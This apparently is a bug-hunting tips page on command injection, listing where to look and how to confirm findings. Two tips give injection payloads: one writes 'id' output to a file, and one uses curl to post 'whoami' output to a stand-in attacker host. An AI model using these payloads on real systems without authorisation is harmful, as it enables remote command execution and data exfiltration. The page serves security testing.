Tips

Command injection tips

Command injection lets input reach an operating-system shell, so the attacker can run commands on the server. Features that wrap system tools, such as ping, file conversion and network checks, are the usual suspects.

Published tips, newest first. Payloads and commands are shown as plain text.

  • Test log files for command injection

    To test for command injection in log files, try injecting a semicolon followed by a command, such as ;id>/tmp/attacker, into a log record. If the log file is not properly sanitized, the command may be executed by the system. Look for any indication that the command was executed,…

    Command injectionDiscovery

  • Test exec calls for command injection

    Look for exec calls in the target's code that pass user input directly into the executed command without sanitisation. Test these calls by injecting a command, such as ; curl -X POST -d "$(whoami)" https://attacker.example/webhook;, into affected fields. Confirm the vulnerability

    Command injectionExploitation

Command injection: how to hunt it

Where to look

  • Inputs handed to tools: host names, file names, image and document converters, archive handlers.
  • Separators and substitutions such as ;, |, &&, backticks, $() and new lines.
  • Blind cases, confirmed with a time delay or a DNS lookup to a domain you control.
  • Argument injection, where a leading dash turns input into one of the tool’s options.

What proves it

Run a harmless command such as id, or a DNS lookup to a domain you control, and stop there.

Read further

Writeups on Command injection, by hunters and researchers, most with a short summary.

Related classes